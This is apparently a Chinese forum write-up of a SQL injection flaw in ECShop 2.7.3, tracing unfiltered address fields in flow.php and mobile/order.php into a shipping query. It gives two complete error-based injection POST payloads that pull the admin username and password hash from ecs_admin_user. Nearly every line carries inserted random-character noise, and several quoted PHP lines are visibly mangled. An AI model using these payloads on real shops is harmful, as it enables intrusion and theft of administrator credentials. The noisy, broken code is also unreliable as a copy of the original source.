前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* {% \: ]% _, S. o
4 S% G+ _3 s0 f
漏洞关键文件:: @2 v% e; s3 h+ T+ h. {3 p
- c2 j+ K- N1 h% {( k' P+ f
/includes/lib_order.php
; v$ w6 U9 d. F2 O" F5 ^- |8 p+ Z# n7 D @
关键函数:
# X, a5 n5 z+ Y! }9 b/ Q9 Q6 }* s2 i+ W; K
/ d' E! l9 N6 e# `
% W1 R- ^% K) a+ t4 a4 I
01 function available_shipping_list($region_id_list)
% |: l" O/ h1 j( m, A: ?& [4 F4 z! J9 t$ {7 v5 T0 \+ a' t2 z
02 { 5 m! I; |, E- a! _
4 @+ ?- w: F" D03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
7 r1 R2 J, x3 c" d
. e+ S8 [* g) N' q6 A# I) ]04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . * e# P- r3 {) r! Z; f8 ]
v9 c/ J0 u5 ^05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 Z, N" D9 U, D$ E
7 m/ M) E" g4 P7 J6 ]$ K06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ i- r$ j3 ^; |5 I% {
, P0 {! x- U9 f" s8 d
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# }3 p6 p7 F4 \/ ~0 X/ k
" ?1 I# X* [7 u08 'WHERE r.region_id ' . db_create_in($region_id_list) .
% _/ D' z, n) D; Y3 r, I, G5 u3 k& H6 m, Z% l5 I
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
% s& [. f: r( i* o# U7 p, C
/ o" f9 _- m6 f$ |$ i10
+ \. f$ |3 V1 T/ f. x* P, J/ L
, v# j' G8 @; Q; _ j11 return $GLOBALS['db']->getAll($sql); " b7 B; L; R4 H1 x+ E1 Z
3 H: v( q( X. G6 b- }0 L9 F Z6 W
12 } " r% g3 S5 x' O: j2 G9 ]2 p
$ v/ L+ Y4 r, r) d
显然对传入的参数没有任何过滤就带入了查询语句。5 J& g8 q8 K% Y T
1 K$ V: ?# H- S" v1 k下面我们追踪这个函数在flow.php中:- x' D y, J- \0 E5 }# _* q
第531行: " i' `. o" Z2 p! P/ x
7 D$ S7 e% B! W0 P+ _
1 $shipping_list = available_shipping_list($region); 4 F) ?; [4 m( W; {4 z
, |- I& p1 T, q; @5 M& m6 O
: f. f$ J- ]- D
+ x. P; V K& `/ v6 x T- b
* F' L2 r' H: i9 l6 Z0 h; A. n- P5 ?, d& i6 N
再对传入变量进行追踪:
9 P3 K' M* F! Q3 i. x
: C( O- {4 _+ P2 t, P* u6 K6 Q第530行:
`7 ^8 G0 O* n% U U: f+ H0 N5 S
- z' X+ f5 E' r3 W4 S! x- |4 y4 L1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); . G# A' Q' H4 g2 e9 f
3 ^ y+ s$ q3 C, ]. T% x
" l: `; U4 V% n/ h8 X0 k' a
# j0 a; M( f) F1 g4 v/ [
) C5 F1 o4 ?3 o8 [/ T) H
1 G2 q3 B7 S$ n$ R/ `5 R/ o
第473行:
" Y/ t" l) v" g! Z# ]+ n' _6 z& S- ]" f8 `3 \2 G
1 $consignee = get_consignee($_SESSION['user_id']);
, V6 c* d2 E2 N% R( o8 F/ h7 i7 e6 [& h) [
到了一个关键函数:
2 m6 O$ X% d) D, H* _0 H7 C$ z; m4 C& \/ ]
/includes/lib_order.php( M0 X& H3 p5 D$ t6 V
" E* L& M( k; A& N1 [
1 w& n! i7 y/ j7 t8 H5 {% a: P0 A! b8 O; m" }2 M
: e6 \( E1 l$ x d' g [/ J! R* h" F' }% j
01 function get_consignee($user_id) 6 D* i: o3 U' {5 `8 p0 `
, n* ^# @# x( h D1 ^
02 { 3 {- u6 u; ^1 j3 P/ p
2 \% `% d1 h1 }* I4 p5 o03 if (isset($_SESSION['flow_consignee']))
9 _" r( Q6 I# T' W1 L: m6 J# q. v2 s
04 {
; m1 w9 K* h) ?
7 V$ q7 ?9 w3 L! s" |+ K05 /* 如果存在session,则直接返回session中的收货人信息 */
2 o5 ]" I( G9 `1 f$ X9 c# }7 N1 s& E; K4 E9 S6 ?
06
' ^# J$ L( D" _/ R) i7 w6 e1 T% a$ _# u: _3 G. ~
07 return $_SESSION['flow_consignee']; 6 j( ? ^( I0 ^. m8 w
+ O" [: B; n' O$ { W08 } ) J5 w3 S4 N7 M3 U# k
* ^- c3 B8 s+ P9 ?) _3 x5 L09 else
/ g# k9 C1 t0 r1 g0 L. ]1 S
; [2 R8 ]0 G; E0 Q$ J1 {& I10 { 6 T1 V* `' x2 { o) A* C! r
/ |- J# k* @) D0 A# q' J4 W11 /* 如果不存在,则取得用户的默认收货人信息 */
& S( S8 a# a5 P- n6 O% A
* C1 b" U) ]7 @3 }" M7 C12 $arr = array();
/ B' K% I5 Z" Q# W" S3 e- F3 B8 q( a6 _; G; m9 T
13
" A( I) L* I! P9 `+ ~3 G' s
. i- w1 q/ }* P2 I @" j' i14 if ($user_id > 0)
, b6 M) O( |' s, `1 j4 F
$ p, U3 r# V$ @: ]0 g15 {
- E3 p1 N" f' K2 W
5 I8 B; S, P, _: e F16 /* 取默认地址 */
3 {! \! k0 L0 z. l, j# T' |6 R1 ^ H: ~/ x* o- J& Q
17 $sql = "SELECT ua.*". # Y: B3 k/ I0 e6 d
8 G; h; s2 {( H5 Y- I
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 5 W6 H. H( L& }- k! @
! ]0 U1 f& ?9 p
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* k4 c |0 r* O* o9 ~4 J: e5 ~' `5 v' R
20
6 r& S2 ?- D7 O ?2 {0 { j. p: }* k" |. y; G+ p1 _
21 $arr = $GLOBALS['db']->getRow($sql); ; [; O! ]/ g' W
# E5 _, T: \. n7 w7 ~22 }
9 Q$ G9 u5 R) X: b: _4 @$ P: ~4 t
5 d$ Z" i9 x. d2 ^& r23
- t" q% L& w+ r0 d0 D6 F" z, I
d/ T' `- v8 I3 t) g24 return $arr; 1 x3 s- L, F" I ? m4 B4 A6 y
# J6 h9 O+ @. L" B7 a
25 }
( y3 g ^, V0 [: {4 o+ [8 Q g4 o6 o. m: h) n
26 } + P. h* F# y. U( _
5 r! R4 o. R: x! l+ y+ N) Q
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?/ ~% p; X6 ~2 \4 j4 V8 _7 u \, P
I- a1 {6 B; C9 ^# B
! {# b# e/ \) B% H4 W# J7 T2 v' b5 T) [3 O
关键点:; o( n) u% M+ [' F2 U" O1 {8 a
' E. {: F M0 y# n第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
J+ m6 A6 d6 v2 C" J4 M% T6 R2 ?" r \' }8 N3 O0 u
这里对传入参数反转义存入$_SESSION中。
3 O/ b, s: W5 s! d* C4 n. P5 n+ _0 ~7 z( Q1 B, F2 ^
( g6 H' @5 a) F2 H! o9 k5 ~4 { G4 c0 E; M! V1 z
然后看下:
# Q S; q- [! N& x/ R
, y0 I4 G% Z0 a w J4 H
& m6 q: l o1 g2 f% q+ a% s% c2 Y' n
2 K1 w& r4 q) Y- g* k' Q7 S" M, s9 a# P7 n
01 $consignee = array(
3 l! z* g: E6 T/ `2 |" f* f& I
0 \7 ]( M2 k' z- M' }02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 3 U3 i+ [0 r: g P9 g1 i% n
$ B# N- f$ V/ C6 U03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
/ r4 A' k8 |) F0 r# U% ~1 c8 \, Y u2 I8 n
04 'country' => empty($_POST['country']) ? '' _POST['country'], 5 W* a& f& X3 L! q& G) b/ o0 x
, d; X% j: l- F x# }4 I. S05 'province' => empty($_POST['province']) ? '' _POST['province'],
# ^) ~% k' O$ z8 _3 b/ @
$ c( F8 S6 X) Q ~06 'city' => empty($_POST['city']) ? '' _POST['city'], , K s$ ^+ W3 k2 l
+ u5 w1 G u/ N
07 'district' => empty($_POST['district']) ? '' _POST['district'], # o) `8 P4 c0 m( S. p2 x( [- S' ]
. g! w7 `9 q! I; J
08 'email' => empty($_POST['email']) ? '' _POST['email'],
8 Z0 Q e# a- ~# Y; s/ M# k, X# f2 w2 B! G0 f: C- h
09 'address' => empty($_POST['address']) ? '' _POST['address'], ; s+ W. B# R Z
+ v/ g8 I. N" } v10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 4 F4 Z! t. m% ^, v4 ], p; }
0 l" ]2 K ~" } o. n# h11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 4 I0 h% A- L' |7 J0 X0 ]
0 w _) l$ i9 c' ?5 H12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
w5 ~6 `- x; q" q/ q
6 H% @) C% m6 {" k0 i1 G1 `/ G0 v13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
5 l& Z0 ~' z0 }8 @: V7 k0 n6 p4 z9 ]0 ~ ^. q
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], / ?) y! @% T5 K7 k( j
4 s3 k! `5 a+ t2 y+ T* a. p* H/ i2 P
15 );
) `: s- G1 f" N" h; f8 \2 ]" G" U9 U5 Q, c/ T% [) @+ m& q
好了注入就这样出现了。
5 F* i0 I: e- l# C3 F1 H* q
$ U4 g* J$ P0 \2 `; J==================
# _! F6 @8 ^2 _& [
4 v" L9 L- n; Q. f! ` v8 C0 n注入测试:. E( S- S/ o& F% f
& x& G5 Q1 |& Q; ~' s, j. _
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& A/ o5 ?9 ~/ X- D1 X
; A- q+ `+ }9 F+ x8 h$ f5 U2 u测试程序:ECShop_V2.7.3_UTF8_release1106
! L! o4 c/ f1 z6 F7 V% C. x& f) ]8 u# b2 L0 D( v1 A, V5 d
$ U9 n6 Q2 l6 m: ~8 [
" B E B. _( T, n1 E+ x' u2 H( z8 _1.首先需要点击一个商品加入购物车
1 c6 g' B; C) Q: e6 i; R
, J8 N9 z$ U- x- j f7 K2.注册一个会员帐号
/ i) e* v; r& ~. Y" @
7 @+ i/ z! F6 Q/ Q% q2 o5 Z$ N3.post提交数据
. Q: Y4 T" V& T* M/ U( \% {
0 l5 P$ _% _3 F8 n4 @. ?
5 I$ r" b* j( R* D, X! b# ?, ~$ g8 @1 `' b. T. l
1 http://127.0.0.1/ecshop/flow.php % S+ f! ]1 |7 n2 x5 l# e/ E0 f/ \: x
( l- @1 J* {+ r$ o& D; ^/ Z
2
1 q3 i, g9 Z' C$ u# J% F
" P& X# ?) D- j& L9 w$ k3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 C+ y/ e( J0 t举一反三,我们根据这个漏洞我们可以继续深入挖掘:& U- P$ h8 h2 R; e* M- l0 s2 h" k
, A1 y+ w# t3 i) T8 l% V5 c7 s# @% v
我们搜寻关键函数function available_shipping_list()
% `+ o1 A$ S0 h. I/ Q7 y
4 a6 u. G! |. H0 O. J4 E在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同7 M5 j ^# ^ F5 e: w
& P: K& t& Q! {1 ^% B- [
利用exp:
6 {+ ]8 l4 b+ D: @
4 g) I3 ?, a6 `/ K1 ~' L8 Z: a1.点击一个商品,点击购买商标
' Y2 X- X) b! }9 T: P. n) K+ _
4 E" ^" G4 H. t. T5 P; O% M! E$ Z8 d4 b2.登录会员帐号
. v; G+ g" K$ H6 u& e
# Q' v' c: |, f8 g5 {6 j" Q3 N3.post提交:( h/ V- e) O# j/ O
1 g* w0 N, d/ e9 J# _+ Ghttp://127.0.0.1/ecshop/mobile/order.php
5 G# n* y2 K5 P" o e# K! f4 v% b, R, R( a) c5 ?' h, ^
8 @ z' s$ b7 H6 Q) U
* [, \% _2 c2 D, Y1 f0 C5 N
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 X7 e% j4 ^# C, U; L( r. V9 y& H; T8 {2 U2 k1 C0 e3 g
|